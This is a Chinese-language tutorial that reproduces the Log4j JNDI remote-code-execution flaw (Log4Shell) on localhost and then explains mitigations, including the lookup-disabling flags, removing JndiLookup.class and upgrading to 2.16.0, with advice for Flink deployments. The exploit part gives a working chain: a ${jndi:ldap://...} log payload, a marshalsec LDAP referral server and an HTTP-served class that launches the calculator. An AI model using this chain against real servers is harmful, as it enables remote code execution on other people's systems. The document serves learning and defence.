聲明
本篇目的為分享原理和學(xué)習(xí)用途,嚴(yán)禁用于任何惡意行為。任何惡意使用導(dǎo)致的一切損失和法律責(zé)任由操作者承擔(dān),和本文作者無關(guān)。
準(zhǔn)備工作
下載并編譯mbechler/marshalsec。
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests
編寫代碼
Log4j漏洞代碼(Log4j.java):
public static void main(String[] args) {
// 高版本(191以上)JDK默認(rèn)為false,需要添加這一行
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
漏洞遠(yuǎn)程惡意執(zhí)行代碼(Log4jRCE.java),如下例子為啟動計(jì)算器程序。
static {
System.out.println("Log4jRCE from remote!");
// 啟動計(jì)算器,在windows環(huán)境下
try {
String[] cmd = {"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
編譯Log4jRCE.java并放置class文件于任意目錄,例如/path/to/rce。
漏洞利用
復(fù)制編譯后的漏洞遠(yuǎn)程惡意執(zhí)行代碼(Log4jRCE.class)到任意目錄,例如/path/to/rce,啟動一個http服務(wù)器。
mv Log4j.class /path/to/rce
python -m http.server 8081
進(jìn)入marshalsec目錄,啟動LDAP服務(wù):
cd marshalsec
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8081/#Log4jRCE
執(zhí)行漏洞代碼:
java -cp log4j-api-2.14.1.jar:log4j-core-2.14.1.jar Log4j
我們發(fā)現(xiàn)輸出:
Log4jRCE from remote!
同時計(jì)算器程序被啟動。觀察http server和LDAP服務(wù)器日志,發(fā)現(xiàn)的確接收到了Log4j漏洞代碼發(fā)來的請求。
漏洞防御
漏洞防御措施分為臨時規(guī)避方案和徹底解決方案。
臨時規(guī)避方案
強(qiáng)烈建議升級JDK版本到6u211 / 7u201 / 8u191 / 11.0.1這些版本以上。這些版本默認(rèn)com.sun.jndi.ldap.object.trustURLCodebase值為false,一定程度上降低了安全風(fēng)險,但是不能徹底解決。
安全建議如下:
- 修改JVM參數(shù),增加
-Dlog4j2.formatMsgNoLookups=true - 設(shè)置系統(tǒng)環(huán)境變量
LOG4J_FORMAT_MSG_NO_LOOKUPS=true - 對于2.0-beta9 到 2.10.0 之間的版本(閉區(qū)間),需要從jar包中刪除
org/apache/logging/log4j/core/lookup/JndiLookup.class??蓤?zhí)行zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。 -
PatternLayout設(shè)置輸出消息格式為%m{nolookups},不要使用%m。
徹底解決方案
需要替換項(xiàng)目依賴中的log4j為2.16.0。log4j2.15.0雖然已經(jīng)修復(fù)了漏洞,但只是應(yīng)急處理(解決了JNDI從日志消息和地址訪問),建議使用更安全的2.16.0。2.16.0默認(rèn)禁用了JNDI。開啟JNDI需要 log4j2.enableJndi設(shè)置為 true 。除此之外該版本還默認(rèn)禁止了message解析過程lookup(相當(dāng)于默認(rèn)為前面說的%m{nolookups})。如要啟用lookup,請?jiān)O(shè)置Pattern為%m{lookup}。
如果項(xiàng)目為fat jar(項(xiàng)目本身和依賴打到同一個jar包),建議修改log4j依賴版本后重新編譯。如果項(xiàng)目加載固定目錄中的內(nèi)容到classpath(例如Flink的lib目錄),直接替換依賴包即可。
Flink修復(fù)log4j漏洞的方式
下載并替換如下jar包到Flink的lib目錄:
注意:如果Flink引入了第三方j(luò)ar包,還需要檢查第三方j(luò)ar包中的log4j版本。作業(yè)中整個classpath中出現(xiàn)的log4j都需要排查一遍。